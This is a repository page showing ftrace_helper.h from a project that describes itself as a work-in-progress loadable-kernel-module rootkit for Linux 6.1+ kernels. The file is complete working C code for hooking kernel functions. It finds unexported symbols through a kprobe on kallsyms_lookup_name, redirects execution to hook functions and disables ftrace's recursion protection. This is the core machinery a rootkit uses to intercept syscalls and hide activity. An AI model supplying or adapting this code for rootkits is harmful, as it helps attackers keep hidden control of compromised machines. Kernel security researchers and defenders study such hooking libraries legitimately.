mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

ftrace_helper.h (5957B)

      1 /*
      2  * Helper library for ftrace hooking kernel functions
      3  * Author: Harvey Phillips ([email protected])
      4  * License: GPL
      5  * */
      6 
      7 #include <linux/ftrace.h>
      8 #include <linux/linkage.h>
      9 #include <linux/slab.h>
     10 #include <linux/uaccess.h>
     11 #include <linux/version.h>
     12 
     13 #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4, 17, 0))
     14 #define PTREGS_SYSCALL_STUBS 1
     15 #endif
     16 
     17 /*
     18  * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported,
     19  * so we have to use kprobes to get the address.
     20  * Full credit to @f0lg0 for the idea.
     21  */
     22 #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)
     23 #define KPROBE_LOOKUP 1
     24 #include <linux/kprobes.h>
     25 static struct kprobe kp = {
     26     .symbol_name = "kallsyms_lookup_name"};
     27 #endif
     28 
     29 #define HOOK(_name, _hook, _orig) \
     30     {                             \
     31         .name = (_name),          \
     32         .function = (_hook),      \
     33         .original = (_orig),      \
     34     }
     35 
     36 /* We need to prevent recursive loops when hooking, otherwise the kernel will
     37  * panic and hang. The options are to either detect recursion by looking at
     38  * the function return address, or by jumping over the ftrace call. We use the
     39  * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
     40  * setting it to 1. (Ordinarily ftrace provides its own protections against
     41  * recursion, but it relies on saving return registers in $rip. We will likely
     42  * need the use of the $rip register in our hook, so we have to disable this
     43  * protection and implement our own).
     44  * */
     45 #define USE_FENTRY_OFFSET 0
     46 #if !USE_FENTRY_OFFSET
     47 #pragma GCC optimize("-fno-optimize-sibling-calls")
     48 #endif
     49 
     50 /* We pack all the information we need (name, hooking function, original function)
     51  * into this struct. This makes it easier for setting up the hook and just passing
     52  * the entire struct off to fh_install_hook() later on.
     53  * */
     54 struct ftrace_hook {
     55     const char *name;
     56     void *function;
     57     void *original;
     58 
     59     unsigned long address;
     60     struct ftrace_ops ops;
     61 };
     62 
     63 /* Ftrace needs to know the address of the original function that we
     64  * are going to hook. As before, we just use kallsyms_lookup_name()
     65  * to find the address in kernel memory.
     66  * */
     67 static int fh_resolve_hook_address(struct ftrace_hook *hook) {
     68 #ifdef KPROBE_LOOKUP
     69     typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
     70     kallsyms_lookup_name_t kallsyms_lookup_name;
     71     register_kprobe(&kp);
     72     kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr;
     73     unregister_kprobe(&kp);
     74 #endif
     75     hook->address = kallsyms_lookup_name(hook->name);
     76 
     77     if (!hook->address) {
     78         printk(KERN_DEBUG "unresolved symbol: %s\n", hook->name);
     79         return -ENOENT;
     80     }
     81 
     82 #if USE_FENTRY_OFFSET
     83     *((unsigned long *)hook->original) = hook->address + MCOUNT_INSN_SIZE;
     84 #else
     85     *((unsigned long *)hook->original) = hook->address;
     86 #endif
     87 
     88     return 0;
     89 }
     90 
     91 /* See comment below within fh_install_hook() */
     92 static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) {
     93     struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
     94 
     95 #if USE_FENTRY_OFFSET
     96     regs->ip = (unsigned long)hook->function;
     97 #else
     98     if (!within_module(parent_ip, THIS_MODULE))
     99         regs->ip = (unsigned long)hook->function;
    100 #endif
    101 }
    102 
    103 /* Assuming we've already set hook->name, hook->function and hook->original, we
    104  * can go ahead and install the hook with ftrace. This is done by setting the
    105  * ops field of hook (see the comment below for more details), and then using
    106  * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
    107  * provided by ftrace.h
    108  * */
    109 int fh_install_hook(struct ftrace_hook *hook) {
    110     int err;
    111     err = fh_resolve_hook_address(hook);
    112     if (err)
    113         return err;
    114 
    115     /* For many function hooks (especially non-trivial ones), the $rip
    116      * register gets modified, so we have to alert ftrace to this fact. This
    117      * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
    118      * need to OR the RECURSION_SAFE flag (effectively turning it OFF) because
    119      * the built-in anti-recursion guard provided by ftrace is useless if
    120      * we're modifying $rip. This is why we have to implement our own checks
    121      * (see USE_FENTRY_OFFSET). */
    122     hook->ops.func = (ftrace_func_t)fh_ftrace_thunk;
    123     hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;
    124 
    125     err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
    126     if (err) {
    127         printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err);
    128         return err;
    129     }
    130 
    131     err = register_ftrace_function(&hook->ops);
    132     if (err) {
    133         printk(KERN_DEBUG "register_ftrace_function() failed: %d\n", err);
    134         return err;
    135     }
    136 
    137     return 0;
    138 }
    139 
    140 /* Disabling our function hook is just a simple matter of calling the built-in
    141  * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
    142  * opposite order to that in fh_install_hook()).
    143  * */
    144 void fh_remove_hook(struct ftrace_hook *hook) {
    145     int err;
    146     err = unregister_ftrace_function(&hook->ops);
    147     if (err) {
    148         printk(KERN_DEBUG "unregister_ftrace_function() failed: %d\n", err);
    149     }
    150 
    151     err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
    152     if (err) {
    153         printk(KERN_DEBUG "ftrace_set_filter_ip() failed: %d\n", err);
    154     }
    155 }
    156 
    157 /* To make it easier to hook multiple functions in one module, this provides
    158  * a simple loop over an array of ftrace_hook struct
    159  * */
    160 int fh_install_hooks(struct ftrace_hook *hooks, size_t count) {
    161     int err;
    162     size_t i;
    163 
    164     for (i = 0; i < count; i++) {
    165         err = fh_install_hook(&hooks[i]);
    166         if (err)
    167             goto error;
    168     }
    169     return 0;
    170 
    171 error:
    172     while (i != 0) {
    173         fh_remove_hook(&hooks[--i]);
    174     }
    175     return err;
    176 }
    177 
    178 void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) {
    179     size_t i;
    180 
    181     for (i = 0; i < count; i++)
    182         fh_remove_hook(&hooks[i]);
    183 }